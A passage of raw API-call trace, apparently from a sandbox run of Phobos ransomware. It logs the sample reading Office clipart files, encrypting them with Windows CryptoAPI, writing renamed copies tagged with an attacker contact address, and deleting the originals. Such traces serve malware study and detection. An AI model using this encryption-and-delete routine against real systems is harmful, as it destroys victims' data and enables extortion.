out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xdd0, lpOverlapped=0x0) returned 1 [0061.645] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0061.645] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.645] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.645] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0061.645] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.645] CryptDestroyKey (hKey=0x10cb70) returned 1 [0061.645] CloseHandle (hObject=0x338) returned 1 [0061.645] CloseHandle (hObject=0x304) returned 1 [0061.646] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0061.647] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.648] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7176) returned 1 [0061.648] CloseHandle (hObject=0x304) returned 1 [0061.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0061.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.649] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.649] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.649] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d170) returned 1 [0061.649] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.650] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1c08, lpOverlapped=0x0) returned 1 [0061.675] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1c10) returned 1 [0061.675] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1c10, lpOverlapped=0x0) returned 1 [0061.676] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0061.676] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.676] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.676] CryptDestroyKey (hKey=0x10caf0) returned 1 [0061.676] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.676] CryptDestroyKey (hKey=0x10d170) returned 1 [0061.676] CloseHandle (hObject=0x304) returned 1 [0061.676] CloseHandle (hObject=0x338) returned 1 [0061.677] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0061.678] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.678] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3494) returned 1 [0061.678] CloseHandle (hObject=0x338) returned 1 [0061.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0061.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.679] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.679] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.679] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0061.679] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.679] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xda6, lpOverlapped=0x0) returned 1 [0061.696] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xdb0, dwBufLen=0xdb0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xdb0) returned 1 [0061.697] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xdb0, lpOverlapped=0x0) returned 1 [0061.698] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0f0) returned 1 [0061.698] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.698] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.698] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0061.698] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.698] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.698] CloseHandle (hObject=0x338) returned 1 [0061.698] CloseHandle (hObject=0x304) returned 1 [0061.699] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0061.700] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.701] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=14996) returned 1 [0061.701] CloseHandle (hObject=0x304) returned 1 [0061.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0061.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.701] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.701] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.702] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cf30) returned 1 [0061.702] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.702] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3a94, lpOverlapped=0x0) returned 1 [0061.704] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3aa0) returned 1 [0061.704] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3aa0, lpOverlapped=0x0) returned 1 [0061.705] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0061.705] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.705] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.706] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0061.706] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.706] CryptDestroyKey (hKey=0x10cf30) returned 1 [0061.706] CloseHandle (hObject=0x304) returned 1 [0061.706] CloseHandle (hObject=0x338) returned 1 [0061.707] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0061.708] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.709] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1874) returned 1 [0061.709] CloseHandle (hObject=0x338) returned 1 [0061.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0061.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.709] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.709] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.710] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0061.710] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.710] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x752, lpOverlapped=0x0) returned 1 [0061.730] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x760, dwBufLen=0x760 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x760) returned 1 [0061.730] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x760, lpOverlapped=0x0) returned 1 [0061.732] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0061.732] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.732] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.732] CryptDestroyKey (hKey=0x10d170) returned 1 [0061.732] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.732] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0061.732] CloseHandle (hObject=0x338) returned 1 [0061.732] CloseHandle (hObject=0x304) returned 1 [0061.733] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0061.734] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.737] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3948) returned 1 [0061.737] CloseHandle (hObject=0x33c) returned 1 [0061.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0061.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.738] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.738] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.738] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce30) returned 1 [0061.738] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.738] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xf6c, lpOverlapped=0x0) returned 1 [0062.143] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xf70, dwBufLen=0xf70 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xf70) returned 1 [0062.143] WriteFile (in: hFile=0x324, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf70, lpOverlapped=0x0) returned 1 [0062.144] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0062.144] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.144] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.144] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0062.144] WriteFile (in: hFile=0x324, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.144] CryptDestroyKey (hKey=0x10ce30) returned 1 [0062.144] CloseHandle (hObject=0x33c) returned 1 [0062.144] CloseHandle (hObject=0x324) returned 1 [0062.145] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0062.146] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0062.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.147] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2262) returned 1 [0062.147] CloseHandle (hObject=0x324) returned 1 [0062.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0062.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.147] CreateFileW (lpFileName="\\\\?\\C:\\Program 